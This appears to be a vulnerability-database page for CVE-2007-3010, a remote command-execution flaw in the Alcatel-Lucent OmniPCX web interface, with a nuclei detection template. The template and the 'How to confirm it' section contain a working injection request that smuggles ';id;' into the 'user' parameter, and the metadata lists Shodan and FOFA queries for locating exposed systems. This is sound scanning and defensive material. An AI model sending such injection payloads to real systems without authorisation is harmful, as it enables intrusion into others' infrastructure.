Alcatel-Lucent OmniPCX - Remote Command Execution

Exploited in the wild. Listed by CISA on 2022-04-15; known to be used by ransomware.

criticalseverity

10CVSS score

97.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The OmniPCX web interface has a script "masterCGI" with a remote command execution vulnerability via the "user" parameter.

Impact

Any user with access to the web interface could execute arbitrary commands with the permissions of the webservers.

Fix

Update to supported versions that filter shell metacharacters in the "user" parameter.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/masterCGI?ping=nomip&user=;id;
Positive when: matches /uid=[0-9]+.*gid=[0-9]+.*/ AND contains "<TITLE>master</TITLE>" AND status 200

Run it with nuclei: nuclei -id CVE-2007-3010 -u <target>

The full check

id: CVE-2007-3010

info:
  name: Alcatel-Lucent OmniPCX - Remote Command Execution
  author: king-alexander
  severity: critical
  description: |
    The OmniPCX web interface has a script "masterCGI" with a remote command execution vulnerability via the "user" parameter.
  impact: |
    Any user with access to the web interface could execute arbitrary commands with the permissions of the webservers.
  remediation: |
    Update to supported versions that filter shell metacharacters in the "user" parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2007-3010
    - https://marc.info/?l=full-disclosure&m=119002152126755&w=2
    - http://www.redteam-pentesting.de/advisories/rt-sa-2007-001.php
    - http://www.vupen.com/english/advisories/2007/3185
    - http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:C/A:C
    cvss-score: 10
    cve-id: CVE-2007-3010
    cwe-id: CWE-20
    epss-score: 0.97385
    epss-percentile: 0.99897
    cpe: cpe:2.3:a:alcatel-lucent:omnipcx:7.1:*:enterprise:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: alcatel-lucent
    product: omnipcx
    shodan-query:
      - title:"OmniPCX for Enterprise"
      - http.title:"omnipcx for enterprise"
    fofa-query:
      - app="Alcatel_Lucent-OmniPCX-Enterprise"
      - app="alcatel_lucent-omnipcx-enterprise"
      - title="omnipcx for enterprise"
    google-query: intitle:"omnipcx for enterprise"
  tags: cve,cve2007,kev,rce,alcatel,alcatel-lucent,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/masterCGI?ping=nomip&user=;id;"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: word
        part: body
        words:
          - "<TITLE>master</TITLE>"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from